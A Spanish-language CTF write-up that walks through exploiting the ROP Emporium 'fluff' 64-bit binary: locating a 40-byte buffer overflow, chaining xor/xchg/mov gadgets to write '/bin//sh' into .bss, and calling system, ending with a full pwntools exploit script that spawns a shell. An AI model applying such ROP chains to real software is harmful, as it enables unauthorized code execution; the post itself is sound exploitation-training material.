dplastico

Hace tiempo que no escribia, pero tenia este post guardado de hace un tiempo, asi que hoy me anime a tomar un par de screenshots y hablar al respecto, ya que me parecio un ejercico super bueno para explicar como funciona ROP, esta vez con algunos gadgets un poco inusuales, asi que con el animo de seguir con lo educativo (que a mi me sirve para aprender) nos lanzamos con este post

El challenge esta tomado de ROPemporium, excelente pagina para aprender explotacion con ROP y binarios con DEP escencialmente. De verdad creo que los ejercicios son super y hacerlo sin mirar un writeup ayuda definitivamnete, por lo que si no has hecho el reto FLUFF (o si estas ya haciendo tus primeros ROP) Te recomiendo que lo intentes por ti mismo, definitivamente te servira

FLUFF ROPEMPORIUM

El challenge podemos ver es un binario de 64 bits (hay una version de 32, pero esta vez hare la de 64) con proteccion NX activada

Podemos observar también las funciones del programa usando gdb (que estare usando para debugear el binario junto con el plugin pwndbg)

Al ejecutar el programa vemos que espera que ingresemos nuestro input (el cual luego veremos nos llevara a un Buffer Overflow)

Vemos varias funciones con nombres que nos dan pistas de cómo pwnear este binario, pero vamos por lo primero, que tenemos en main? Claramente vemos una llamada a la función pwnme

Chequeamos usando cyclic donde ocurre el overflow y que registros podemos controlar:

Comprobamos el offset a RSP, el cual es 40

La cual podemos observar tiene un Buffer overflow en fgets (no entraré en detalles de buffer overflow esta vez, puedes leer al respecto en este post , o bien aca.)

Procedemos ahora a buscar funciones para pwnear este binario, una forma seria llamando a system, pero el string de “/bin/sh” no se encuentra disponible para hacer el clasico ret2libc (o ret2system en este caso)
observamos ambas funciones, en UsefulFuction, podemos ver una llamada a system que nos servirá más adelante

Pero en questionableGadgets observamos varios pop y sobre todo un MOV [r10], r11. Esto es importante ya que nos permite copiar la dirección que sea que esté en r11 dentro de la dirección que contiene r10, por lo mismo si encontramos una zona del binario donde escribir (RW) podemos escribir el string de /bin/sh para luego cargarlo en RDI y llamar a system, si aun no has hecho este desafio, te  sugiero  intentar  esta  parte  por  ti  mismo,  es  lo  mas entretenido ;)

OK, Estos son los gadgets con los que trabajaremos


Donde escribir? Buscando podemos descubrir que la sección .bss se puede escribir en 0x601060, trabajamos con esta, podemos chequear permisos y direcciones con objdump -h fluff

Ok, no se ve tan sencillo como unos simples pop, pero podemos observar que podemos mover la dirección  de r11 a la dirección  que se contiene r10, pero no tenemos como poner ningún valor en R11 (no se ven POP R11 RET o similar)

Tampoco tenemos un POP R10 que nos permita setear el valor de la direccion, pero si podemos controlar el valor de r12

Nuestro plan para este ROP es el siguiente:

  • Controlar el valor de r12 con un pop r12 y setearlo a la
    dirección  de el segmeto .bss
  • Setear el valor de R11 a cero usando XOR
  • Pasar el valor der R12 a R11 usando XOR
  • usar el gadget con la orden XCHG para intercambiar los valores de R10 y R11 (ahora R10 tiene la dirección de .BSS)
  • Setear el string de "/bin/sh" a r12 por medio de una instrucción POP R12
  • Setear el valor de R11 a cero usando XOR
  • Pasar el valor der R12 a R11 usando XOR
  • Volver R12 a 0x0 (para no pisarnos con el ultimo XOR BYTE PTR [r10],r12b luego de la instrucción MOV QWORD PTR [r10],r11 en 0x40084e)
  • Mover R11 como contenido a la dirección en R10 (en este caso el segmento .bss)

Suena bien, con la ayuda de pwntools, ropper y la información en el binario podemos completar el rop:

Aca el exploit completo

from pwn import *

e = ELF('./fluff')
r = process("./fluff")
#gdb.attach(r) #para atachar GDB duh!
#copiar la bss address a r12
rop = p64(0x0000000000400832) #pop r12; mov r13d, 0x604060; ret; 
rop += p64(0x601060) #bss a r12 (pop)
#poner en cero r11
rop += p64(0x0000000000400820) #xor x11 x11
rop += "DPLADPLA" #pop r15
rop += "DPLADPLA" #pop r14
#xor moviendo r12 a r11 con xor
rop += p64(0x000000000040082d)
rop += "DPLADPLA" #pop r14
rop += "DPLADPLA" #pop a r12
#xchg cambiando r11 con r10
rop += p64(0x000000000040083b) 
rop += "DPLADPLA" #pop a r15
#bss queda en r10
#comenzaomos a escribinr binsh
#binsh a r12
rop += p64(0x0000000000400832) #pop r12; mov r13d, 0x604060; ret;
rop += "/bin//sh" #string de /bin/sh pop a r12
#r11 a cero
rop += p64(0x0000000000400820) #xor x11 x11
rop += "DPLADPLA" #pop r15
rop += "DPLADPLA" #pop r14
#r12 a r11
#xor moviendo r12 a r11 con xor
rop += p64(0x000000000040082d)
rop += "DPLADPLA" #pop r14
rop += p64(0x0000000000000000) #pop a r12
#move de r11 al contenido de r10
rop += p64(0x000000000040084c)#move, volver r12 a cero antes
rop += "DPLADPLA" #pop r15
rop += "DPLADPLA" #pop r13
rop += p64(0x0000000000000000) #pop r12 para el xor y que no cambie

#system
rop += p64(0x00000000004008c3)#pop rdi; ret;
rop += p64(0x601060)
rop += p64(e.symbols['system']) #magia de pwntools

payload = "A" * 40
payload += rop
r.sendlineafter(">", payload)
r.interactive()

Ejecutar y shell ! Espero les haya gustado